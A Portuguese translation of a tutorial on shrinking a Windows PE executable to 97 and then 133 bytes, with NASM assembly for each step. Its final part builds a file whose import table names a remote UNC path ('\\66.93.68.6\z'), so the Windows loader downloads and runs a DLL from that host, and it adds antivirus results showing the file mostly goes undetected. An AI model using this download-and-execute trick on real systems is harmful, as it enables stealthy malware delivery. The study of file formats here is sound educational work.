Escrito originalmente por Solar: http://www.phreedom.org/solar/code/tinype/
Traduzido com autorização por Fergo: http://www.fergonez.net
Introdução
Navegando pela internet encontrei um artigo muito interessante, demonstrando como criar o menor executável possível para Windows que executa uma determinada ação. Como o artigo era em inglês, escrevi um e-mail para o autor (Solar) solicitando uma autorização para traduzir o artigo para o português. Rapidamente recebi a resposta e felizmente ele autorizou a tradução.
O trabalho foi inspirado pelo desafio “TinyPE” proposto por Gil Dabah. O objetivo do desafio era criar o menor executável possível que baixa um arquivo da internet e o executa. Para este guia foi seguido o exemplo do famoso artigo sobre o menor executável ELF para Linux.
Para este tutorial o autor utilizou o Microsoft Visual Studio 2005 para compilar o aplicativo, originalmente escrito em C. Posteriormente foi necessário “portar” o programa para Assembly, podendo ter um controle total da estrutura do executável (utilizando o NASM para compilar).
Novamente reforço que não sou o autor deste guia, apenas o traduzi (com a devida autorização do autor).
Site oficial do autor: http://www.phreedom.org
Link para o artigo original: http://www.phreedom.org/solar/code/tinype/
Recomendo a leitura do meu artigo sobre o formato dos arquivos executáveis, pois é importante para o entendimento deste artigo:
http://www.fergonez.net/files/tut_win32_exe.pdf
Sumário
Para quem estiver muito ocupado para ler o artigo inteiro, aqui vai um pequeno sumário dos resultados:
Os resultados acima mostram os menores executáveis possíveis na estrutura de um arquivo PE (.exe), sendo que não é possível ir mais longe devido as limitações do arquivo. Tome isso como um desafio, caso queira.
Os arquivos utilizados no tutorial estão disponíveis para download, basta clicar aqui. Eles estão separados em pastas, seguido pelo tamanho do executável gerado.
Nossa primeira tarefa é montar o menor .exe que possa ser carregado e executado pelo Windows. Começaremos com um simples programa em C.
Compilando um simples programa em C
int main() { return 42; }
Nós vamos compilar e linkar o aplicativo através do VisualStudio 2005
cl /nologo /c tiny.c link /nologo tiny.obj
O tamanho final do executável compilado é de 45056 bytes, o que é claramente inaceitável para algo tão simples.
tiny.c | tiny.exe | dumpbin | Makefile
Removendo as bibliotecas de execução do C
Uma grande parte do binário consiste da biblioteca de execução do C. Se nós linkarmos o mesmo programa com a opção /NODEFAULTLIB, nos obteremos um arquivo muito menor. Também removemos a janela do prompt do programa setando o subsistema para Win32 GUI.
cl /nologo /c /O1 tiny.c link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS tiny.objA opção /O1 no compilador otimiza o código para o menor tamanho. O disassembly da seção .text mostra que a função Main() foi otimizada para apenas 4 bytes.
00401000: 6A 2A push 2Ah 00401002: 58 pop eax 00401003: C3 ret
O tamanho do executável agora é de apenas 1024 bytes.
tiny.c | tiny.exe | dumpbin | Makefile
Diminuindo o alinhamento do arquivo
Se nós olharmos para o dump do arquivo de 1024 bytes, veremos que o arquivo está alinhado para 512 bytes. O conteúdo da seção .text (onde fica o código) começa no offset 0x200. O espaço entre o cabeçalho e esta seção de código é preenchida com zeros.
A especificação oficial dos arquivos PE (Portable Executable, os arquivos .exe) afirma que o menor alinhamento possível é de 512 bytes, mas o linker da Microsoft é capaz de gerar arquivos PE com um alinhamento menor. O Windows Loader ignora alinhamento inválido e é capaz de corrigir e executar o arquivo durante o carregamento do mesmo.
cl /c /O1 tiny.c link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS /ALIGN:1 tiny.obj
O tamanho do binário compilado agora é de apenas 468 bytes.
tiny.c | tiny.exe | dumpbin | Makefile
Movendo para Assembly e removendo o cabeçalho DOS
Para diminuir o arquivo mais ainda, precisamos ter a capacidade de editar todos os campos que compõe o arquivo PE. Vamos fazer o disassembly do nosso programa em C e converte-lo para código assembly que pode ser posteriormente compilado com o NASM
nasm -f bin -o tiny.exe tiny.asm
A única mudança que faremos é a remoção do cabeçalho DOS que exibe a mensagem “Este programa não pode ser executado em modo DOS”. Os arquivos PE continuam precisando do cabeçalho MZ (cabeçalho DOS), mas apenas 2 de seus campos são realmente necessários, o "e_magic" e "e_lfanew". Podemos preencher todo o resto do cabeçalho MZ com zeros. Similarmente, há vários outros campos desprezíveis no cabeçalho do PE que podem ser modificados sem comprometer o aplicativo. No código abaixo eles estão marcados em vermelho.
Para uma descrição detalhada do formato dos arquivos EXE, veja a especificação oficial da Microsoft e ao artigo de Matt Pietrek, Parte 1 e Parte 2.
; tiny.asm BITS 32 ; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED dw 0 ; e_cp UNUSED dw 0 ; e_crlc UNUSED dw 0 ; e_cparhdr UNUSED dw 0 ; e_minalloc UNUSED dw 0 ; e_maxalloc UNUSED dw 0 ; e_ss UNUSED dw 0 ; e_sp UNUSED dw 0 ; e_csum UNUSED dw 0 ; e_ip UNUSED dw 0 ; e_cs UNUSED dw 0 ; e_lsarlc UNUSED dw 0 ; e_ovno UNUSED times 4 dw 0 ; e_res UNUSED dw 0 ; e_oemid UNUSED dw 0 ; e_oeminfo UNUSED times 10 dw 0 ; e_res2 UNUSED dd pesig ; e_lfanew ; ; PE signature ; pesig: dd "PE" ; ; PE header ; pehdr: dw 0x014C ; Machine (Intel 386) dw 1 ; NumberOfSections dd 0x4545BE5D ; TimeDateStamp UNUSED dd 0 ; PointerToSymbolTable UNUSED dd 0 ; NumberOfSymbols UNUSED dw opthdrsize ; SizeOfOptionalHeader dw 0x103 ; Characteristics (no relocations, executable, 32 bit) ; ; PE optional header ; filealign equ 1 sectalign equ 1 %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED dd round(codesize, filealign) ; SizeOfCode UNUSED dd 0 ; SizeOfInitializedData UNUSED dd 0 ; SizeOfUninitializedData UNUSED dd start ; AddressOfEntryPoint dd code ; BaseOfCode UNUSED dd round(filesize, sectalign) ; BaseOfData UNUSED dd 0x400000 ; ImageBase dd sectalign ; SectionAlignment dd filealign ; FileAlignment dw 4 ; MajorOperatingSystemVersion UNUSED dw 0 ; MinorOperatingSystemVersion UNUSED dw 0 ; MajorImageVersion UNUSED dw 0 ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED dd round(filesize, sectalign) ; SizeOfImage dd round(hdrsize, filealign) ; SizeOfHeaders dd 0 ; CheckSum UNUSED dw 2 ; Subsystem (Win32 GUI) dw 0x400 ; DllCharacteristics UNUSED dd 0x100000 ; SizeOfStackReserve UNUSED dd 0x1000 ; SizeOfStackCommit dd 0x100000 ; SizeOfHeapReserve dd 0x1000 ; SizeOfHeapCommit UNUSED dd 0 ; LoaderFlags UNUSED dd 16 ; NumberOfRvaAndSizes UNUSED ; ; Data directories ; times 16 dd 0, 0 opthdrsize equ $ - opthdr ; ; PE code section ; db ".text", 0, 0, 0 ; Name dd codesize ; VirtualSize dd round(hdrsize, sectalign) ; VirtualAddress dd round(codesize, filealign) ; SizeOfRawData dd code ; PointerToRawData dd 0 ; PointerToRelocations UNUSED dd 0 ; PointerToLinenumbers UNUSED dw 0 ; NumberOfRelocations UNUSED dw 0 ; NumberOfLinenumbers UNUSED dd 0x60000020 ; Characteristics (code, execute, read) UNUSED hdrsize equ $ - $$ ; ; PE code section data ; align filealign, db 0 code: ; Entry point start: push byte 42 pop eax ret codesize equ $ - code filesize equ $ - $$
Para descobrir quais campos são utilizados e que podem ser livremente modificados nós usamos um asm fuzzer escrito em Ruby. Ele faz uma iteração em todos os campos do cabeçalho e substitui esses campos por valores randômicos. Se o aplicativo resultante travar, podemos concluir que aquele campo é utilizado e não pode ser modificado.
O tamanho do arquivo compilado agora é de 356 bytes.
tiny.asm | tiny.exe | dumpbin | Makefile
Quebrando o cabeçalho MZ
O campo "e_lfanew" no cabeçalho MZ contém o offset do cabeçalho PE a partir do começo do arquivo. Normalmente o cabeçalho PE começa logo após o cabeçalho MZ e do trecho referente ao DOS stub, mas se nós setarmos o "e_lfanew" para um valor menor que 0x40 (que é o valor normal para o início do cabeçalho PE), o cabeçalho PE vai começar dentro do cabeçalho MZ. Isso nos permite mesclar alguns dados dos cabeçalhos MZ e PE e produzir um arquivo menor.
O cabeçalho PE não pode começar no offset 0, pois nós ainda precisamos que os dois primeiros bytes do arquivo correspondam a string “MZ”. De acordo com a especificação do formato do PE, o cabeçalho precisa estar alinhado em um limite de 8 bytes, mas o Windows Loader requer apenas um alinhamento de 4 bytes. Isso significa que o menor valor possível para o e_lfanew é 4.
Se o cabeçalho PE começar no offset 4, boa parte dele irá sobre-escrever os campos não utilizados no cabeçalho MZ. O único campo que devemos tomar cuidado é o "e_lfanew", que se encontra no mesmo offset do campo "SectionAlignment" (que iria sobre-escrever o "e_lfanew"). Como o 'e_lfanew" deve possuir o valor 4, devemos setar o "SectionAligment" para 4 também. A especificação diz que se o alinhamento da seção for menor que o tamanho de paginação, o alinhamento deverá ter o mesmo valor do tamanho da paginação, então temos que setar tanto o "SectionAlignment" (já foi configurado) e o "FileAlignment" para 4. Felizmente a seção de dados no arquivo PE já está alinhada a um limite de 4 bytes, então alterar o alinhamento do arquivo de 1 para 4 não acarreta num aumento do tamanho do arquivo.
; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED ; ; PE signature ; pesig: dd "PE" ; e_cp, e_crlc UNUSED ; PE signature ; ; PE header ; pehdr: dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386) dw 1 ; e_minalloc UNUSED ; NumberOfSections dd 0x4545BE5D ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED dw opthdrsize ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED dd round(codesize, filealign) ; SizeOfCode UNUSED dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED dd 0 ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED dd start ; AddressOfEntryPoint dd code ; BaseOfCode UNUSED dd round(filesize, sectalign) ; BaseOfData UNUSED dd 0x400000 ; ImageBase dd sectalign ; e_lfanew ; SectionAlignment
A quebra do cabeçalho PE reduziu o tamanho do binário para 296 bytes.
tiny.asm | tiny.exe | dumpbin | Makefile
Removendo o diretório de dados
O diretório de dados no final do cabeçalho opcional do PE normalmente contém ponteiros para as tabelas de importação e exportação, informações de debug, relocações e outras informações específicas do SO. Nosso binário não usa nenhuma dessas características e o diretório de dados está vazio. Se nós pudermos remover o diretório de dados, economizaremos uma boa quantidade de espaço.
A especificação diz que o número de diretório de dados é especificado no campo "NumberOfRvaAndSizes" do cabeçalho e o tamanho do cabeçalho PE opcional varia. Se setarmos o campo "NumberOfRvaAndSizes" para 0 e diminuir o "SizeOfOptionalHeader", conseguiremos remover o diretório de dados do arquivo.
dd 0 ; NumberOfRvaAndSizes
A maioria das funções que lê o diretório de dados checa se o "NumberOfRvaAndSize" é grande o suficiente para evitar o acesso a regiões restritas de memória. A única exceção é o diretório de Debug no WindowsXP. Se o tamanho do diretório de Debug não for 0, independentemente do valor do "NumberOfRvaAndSizes", o Windows Loader irá travar com uma violação de acesso no "ntdll!LdrpCheckForSecuROMImage". Precisamos garantir que o valor DWORD no offset 0x94 do início do cabeçalho PE opcional será sempre 0. No nosso aplicativo este endereço fica fora do espaço de memória mapeada e é zerado automaticamente pelo sistema operacional.
O tamanho do nosso binário agora é de apenas 168 bytes, uma melhora bem significativa.
tiny.asm | tiny.exe | dumpbin | Makefile
Quebrando o cabeçalho PE
O Windows Loader espera encontra o cabeçalho da seção PE logo após o cabeçalho opcional. Ele calcula o endereço do primeiro cabeçalho da seção somando o valor do "SizeOfOptionalHeader" com o começo da região opcional. No entanto, o código que acessa o campo do cabeçalho opcional nunca checa pelo seu tamanho. Nós podemos configurar o "SizeOfOptionalHeader" para um valor menor do que seu tamanho real e mover a seção PE para dentro do espaço não utilizado pelo cabeçalho opcional. Isso é mostrado no código abaixo:
dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; ; The debug directory size at offset 0x94 from here must be 0 filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED ; ; PE code section ; sections: dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize dd start ; AddressOfEntryPoint ; VirtualAddress dd codesize ; BaseOfCode UNUSED ; SizeOfRawData dd start ; BaseOfData UNUSED ; PointerToRawData dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED dw 0 ; MinorOperatingSystemVersion UNUSED dw 0 ; MajorImageVersion UNUSED dw 0 ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED dd round(filesize, sectalign) ; SizeOfImage dd round(hdrsize, filealign) ; SizeOfHeaders dd 0 ; CheckSum UNUSED dw 2 ; Subsystem (Win32 GUI) dw 0x400 ; DllCharacteristics UNUSED dd 0x100000 ; SizeOfStackReserve dd 0x1000 ; SizeOfStackCommit dd 0x100000 ; SizeOfHeapReserve dd 0x1000 ; SizeOfHeapCommit UNUSED dd 0 ; LoaderFlags UNUSED dd 0 ; NumberOfRvaAndSizes UNUSED hdrsize equ $ - $$ ; ; PE code section data ; align filealign, db 0 ; Entry point start: push byte 42 pop eax ret codesize equ $ - start filesize equ $ - $$
Esse tipo de modificação faz com que o dumpbin trave, mas utilizando o comando !dh do WinDbg nós ainda conseguimos analisar o cabeçalho corretamente. O tamanho do arquivo compilado agora é de apenas 128 bytes.
tiny.asm | tiny.exe | Makefile
O próximo passo é óbvio: nos podemos mover os 4 bytes de código para dentro de um dos campos não utilizados do cabeçalho, como o campo TimeDateStamp. Isso faz com que o final do cabeçalho opcional seja também o final do arquivo PE. Parece que nós não podemos reduzir o arquivo mais do que isso pois o cabeçalho PE começa no menor offset e possui um tamanho fixo. Ele é seguido pelo cabeçalho opcional, que também começa no menor offset possível. todos os outros dados estão contidos e mesclados dentro desses dois cabeçalhos
Apesar dessas limitações, ainda podemos mudar mais uma coisa. O arquivo PE é mapeado em páginas de memória de 4KB. Como o tamanho do nosso arquivo é menor do que 4KB, o resto do espaço na página é preenchido com zeros. Se nós removermos os últimos campos do cabeçalho opcional do arquivo, o final da estrutura será mapeado numa página de leitura contida de uma sequência de zeros. Zero é um valor válido para os sete últimos campos no cabeçalho opcional, então nós podemos remover esses sete campos e deixar que o próprio gerenciamento de memória complete esses valores. Fazendo isso nós salvamos mais 26 bytes.
O último valor WORD no arquivo é o campo "Subsystem", que deve possuir o valor 2. A Intel utiliza o formato de ordenação numérica chamado "little-endian", sendo que o primeiro byte da WORD é preenchido com 2 e o segundo com zero, da seginte forma: 02 00. Na hora da leitura esses valores são invertidos automaticamente pela própria arquitetura Intel, ficando 00 02. Como no arquivo o segundo byte é 00, podemos também eliminar esse último byte deixando pro gerenciamento de memória preenchê-lo.
A estrutura completa e final do arquivo PE é mostrada abaixo:
; tiny.asm BITS 32 ; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED ; ; PE signature ; pesig: dd "PE" ; e_cp, e_crlc UNUSED ; PE signature ; ; PE header ; pehdr: dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386) dw 1 ; e_minalloc UNUSED ; NumberOfSections ; dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED ; Entry point start: push byte 42 pop eax ret codesize equ $ - start dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; ; The debug directory size at offset 0x94 from here must be 0 filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED ; ; PE code section ; sections: dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize dd start ; AddressOfEntryPoint ; VirtualAddress dd codesize ; BaseOfCode UNUSED ; SizeOfRawData dd start ; BaseOfData UNUSED ; PointerToRawData dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED dw 0 ; MinorOperatingSystemVersion UNUSED dw 0 ; MajorImageVersion UNUSED dw 0 ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage dd round(hdrsize, filealign) ; SizeOfHeaders dd 0 ; CheckSum UNUSED db 2 ; Subsystem (Win32 GUI) hdrsize equ $ - $$ filesize equ $ - $$
Agora nós realmentes atingimos o limite. O último campo no offset 0x94 é o "Subsystem", que deve obrigatóriamente estar preenchido com o valor 2. Nós não podemos remover esse valor, então chegamos no menor arquivo .EXE possível.
O tamanho final é de incríveis 97 bytes. Para comparação, apenas esse parágrafo que você está lendo já possui mais que 97 bytes.
tiny.asm | tiny.exe | Makefile
Infelizmente o arquivo de 97 bytes não funciona no Windows 2000. Isso ocorre devido ao fato de o Kernel tentar chamar uma função do Kernel32, mas a KERNEL32.DLL não foi carregada (lembre-se de que nós removemos as tabelas de importação e exportação). Todas as outras versões do Windows carregam essa DLL automaticamente, mas no Windows 2000 nós devemos ter certeza de que a KERNEL32.DLL está listada na tabela de importações do executável. Executar um arquivo PE sem importar DLLs é impossível.
A estrutura da tabela de importações é complicada, mas adicionando um único import da KERNEL32 é relativamente simples. Nós precisamos colocar o noma da DLL que queremos importar no campo "Name" e criar dois arrays idênticos da estrutura IMAGE_THUNK_DATA, uma para o "Import Lookup Table" e outra para o "Import Address Table" (IAT). Quando o loader carrega as imports, ele vai ler o número da "Import Lookup Table" e trocar a entrada na IAT pelo endereço da função.
dd 2 ; NumberOfRvaAndSizes ; ; Data directories ; ; The debug directory size at offset 0x34 from here must be 0 dd 0 ; Export Table UNUSED dd 0 dd idata ; Import Table dd idatasize hdrsize equ $ - $$ ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures) idata: dd ilt ; OriginalFirstThunk UNUSED dd 0 ; TimeDateStamp UNUSED dd 0 ; ForwarderChain UNUSED dd kernel32 ; Name dd iat ; FirstThunk ; empty IMAGE_IMPORT_DESCRIPTOR structure dd 0 ; OriginalFirstThunk UNUSED dd 0 ; TimeDateStamp UNUSED dd 0 ; ForwarderChain UNUSED dd 0 ; Name UNUSED dd 0 ; FirstThunk idatasize equ $ - idata ; Import address table (array of IMAGE_THUNK_DATA structures) iat: dd 0x80000001 ; Import function 1 by ordinal dd 0 ; Import lookup table (array of IMAGE_THUNK_DATA structures) ilt: dd 0x80000001 ; Import function 1 by ordinal dd 0 kernel32: db "KERNEL32.dll", 0 codesize equ $ - start filesize equ $ - $$
Com uma única import para o KERNEL32.DLL o nosso arquivo PE passou a ter 209 bytes.
tiny.asm | tiny.exe | Makefile
209 byte é obviamento muito para uma única função importada, então vamos dar uma olhada em como nós podemos deixá-la menor. A primeira coisa que devemos fazer é remover a "Import Lookup Table". Ela é uma cópia da IAT e não parece ser utilizada pelo linker. Isso salva 8 bytes.
A tabela de importações possui 40 bytes, mas apenas três dos seus campos estão sendo utilizados. Isso nos permite quebrar algumas informações da IAT e movê-las para o cabeçalho opcional.
; ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures) ; idata: dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED ; NumberOfLinenumbers UNUSED dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name ; MinorOperatingSystemVersion UNUSED ; FirstThunk dd iat ; MajoirImageVersion UNUSED ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED dd 0 ; CheckSum UNUSED ; FirstThunk idatasize equ $ - idata dw 2 ; Subsystem (Win32 GUI) dw 0 ; DllCharacteristics UNUSED dd 0 ; SizeOfStackReserve dd 0 ; SizeOfStackCommit dd 0 ; SizeOfHeapReserve dd 0 ; SizeOfHeapCommit dd 0 ; LoaderFlags UNUSED dd 2 ; NumberOfRvaAndSizes
O tamanho do arquivo agora é de 161 bytes.
tiny.asm | tiny.exe | Makefile
As últimas duas estruturas deixadas fora do cabeçalho PE é a IAT e o nome da DLL importada. Nós podemos quebrar a IAT dentro dos 8 bytes não utilizados do campo "Name" no cabeçalho da seção. O nome da DLL pode ser armazenado nos campos não utilizados no final do cabeçalho opcional e nos 8 bytes do diretório de exportação. Tem espaço suficiente para 15 caracteres junto com o valor nulo no final da string.
O último campo no diretório de dados é o tamanho da tabela de importações, mas o o tamanho não é utilizado pelo loader e pode ser zero. Os últimos três bytes dos ponteiros da tabela de importação também são zero, novamente devido ao formato "little-endian", dessa vez dentro de uma DWORD (4 bytes). Nós podemos remover todos os bytes preenchidos com zeros do final do arquivo, da mesma forma que fizemos no executável de 97 bytes.
O código fonte completo do executável final é mostrado abaixo:
; tiny.asm BITS 32 ; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED ; ; PE signature ; pesig: dd "PE" ; e_cp UNUSED ; PE signature ; e_crlc UNUSED ; ; PE header ; pehdr: dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386) dw 1 ; e_minalloc UNUSED ; NumberOfSections ; dd 0xC3582A6A ; e_maxalloc UNUSED ; TimeDateStamp UNUSED ; ; e_ss UNUSED ; Entry point start: push byte 42 pop eax ret dd 0 ; e_sp UNUSED ; PointerToSymbolTable UNUSED ; e_csum UNUSED dd 0 ; e_ip UNUSED ; NumberOfSymbols UNUSED ; e_cs UNUSED dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; ; The debug directory size at offset 0x94 from here must be 0 filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED ; ; PE code section and IAT ; sections: iat: dd 0x80000001 ; SizeOfCode UNUSED ; Name UNUSED ; Import function 1 by ordinal dd 0 ; e_oemid UNUSED ; SizeOfInitializedData UNUSED ; end of IAT ; e_oeminfo UNUSED dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize dd start ; AddressOfEntryPoint ; VirtualAddress dd codesize ; BaseOfCode UNUSED ; SizeOfRawData dd start ; BaseOfData UNUSED ; PointerToRawData ; ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures) ; idata: dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED ; NumberOfLinenumbers UNUSED dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name ; MinorOperatingSystemVersion UNUSED ; FirstThunk dd iat ; MajoirImageVersion UNUSED ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED dd 0 ; CheckSum UNUSED ; FirstThunk idatasize equ $ - idata dw 2 ; Subsystem (Win32 GUI) dw 0 ; DllCharacteristics UNUSED dd 0 ; SizeOfStackReserve dd 0 ; SizeOfStackCommit dd 0 ; SizeOfHeapReserve dd 0 ; SizeOfHeapCommit ; dd 0 ; LoaderFlags UNUSED ; dd 2 ; NumberOfRvaAndSizes ; ; The DLL name should be at most 16 bytes, including the null terminator ; kernel32: db "KERNEL32.dll", 0 times 16-($-kernel32) db 0 ; ; Data directories ; ; The debug directory size at offset 0x34 from here must be 0 ; dd 0 ; Export Table UNUSED ; dd 0 db idata - $$ ; Import Table hdrsize equ $ - $$ codesize equ $ - start filesize equ $ - $$
Esse código nos leva a um arquivo com 133 bytes. Maior do que o anterior, mas funcional em todas as versões do Windows.
tiny.asm | tiny.exe | Makefile
O objetivo do desafio "TinyPE" era de criar o menor executável possível que baixasse um arquivo da internet e o executasse. A técnica padrão para fazer isso era chamar a função "URLDownloadToFileA" e em seguida a "WinExec" para executar o arquivo. Há diversos exemplos de código utilizando essas APIs, mas isso requer o carregamento da dll URLMON.DLL e a chamada de diversas funções, acrescentando mais linhas de código e mais uma dll na tabela de importação, o que seria inviável.
Uma ferramenta muito menos conhecida do Windows XP é a "WebDAV Mini-Redirector". Ela traduz os caminhos CNU (convenção de nomeação universal) utilizados por todos os aplicativos do Windows e tenta acessá-las através do protocolo WebDAV. Isso indica que nós podemos passar um caminho CNU para o WinExec e o redirecionador tentará baixar o arquivo especificado pelo protocolo WebDAV na porta 80.
Mais interessante ainda é o fato de nós podermos especificar o caminho CNU na tabela de importações do arquivo PE. Se nós especificarmos "\\66.93.68.6\z" como o nome da DLL importada, o Windows Loader tentará baixar o arquivo DLL do nosso servidor.
Isso nos permite criar um executável que baixa e executa um arquivo da internet sem passar por nenhuma linha de código. Tudo o que nós temos que fazer é criar um código na função DllMain da DLL, fazer o upload dessa DLL em um servidor WebDAV público e especificar o caminho CNU para a DLL na tabela de importações do arquivo PE. Quando o loader processa a tabela de importações, ele carregará a DLL do servidor WebDAV e irá executar a função DllMain.
; ; The DLL name should be at most 16 bytes, including the null terminator ; dllname: db "\\66.93.68.6\z", 0 times 16-($-dllname) db 0
O tamanho do arquivo PE com a CNU continua sendo 133 bytes, já que não adicionamos nenhuma linha de código..
AVISO: Esse arquivo PE é ativo. Ele tentará baixar e executar uma DLL do endereço http://66.93.68.6/z. A DLL exeibirá uma mensagem de texto e posteriormente terminará a execução.
tiny.asm | tiny.exe | Makefile
Configurar um servidor Apache ou ISS como WebDAV não é complicado, mas por questões de estudo você pode utilizaro seguinte script em Ruby. Ele servirá como um mini servidor WebDAV, suficiente para o que nós precisamos.
webdav.rb
A DLL e o seu código fonte também está disponível:
payload.c | payload.dll | test.c | tiny.exe | Makefile
Um scan no arquivo de 133 bytes mostra que os anti-vírus mais comuns não verificam pela presença de caminhos CNU, tornando baixa a taxa de detecção desses arquivos. Já foram feitas sugestões aos criadores dos AV e alguns já passaram a utilizar a CNU como uma forma de heurística. Por curiosidade, a tabela abaixo mostra a taxa de detecção;
Teste completo do "tiny.exe", recebido no VirusTotal no dia 11.08.2006, 07:14:08 (CET).
Antivirus | Version | Update | Result |
AntiVir | 7.2.0.39 | 11.07.2006 | no virus found |
Authentium | 4.93.8 | 11.07.2006 | no virus found |
Avast | 4.7.892.0 | 11.07.2006 | no virus found |
AVG | 386 | 11.07.2006 | no virus found |
BitDefender | 7.2 | 11.08.2006 | no virus found |
CAT-QuickHeal | 8.00 | 11.07.2006 | (Suspicious) - DNAScan |
ClamAV | devel-20060426 | 11.07.2006 | no virus found |
DrWeb | 4.33 | 11.08.2006 | no virus found |
eTrust-InoculateIT | 23.73.49 | 11.08.2006 | no virus found |
eTrust-Vet | 30.3.3181 | 11.07.2006 | no virus found |
Ewido | 4.0 | 11.07.2006 | no virus found |
Fortinet | 2.82.0.0 | 11.08.2006 | no virus found |
F-Prot | 3.16f | 11.07.2006 | no virus found |
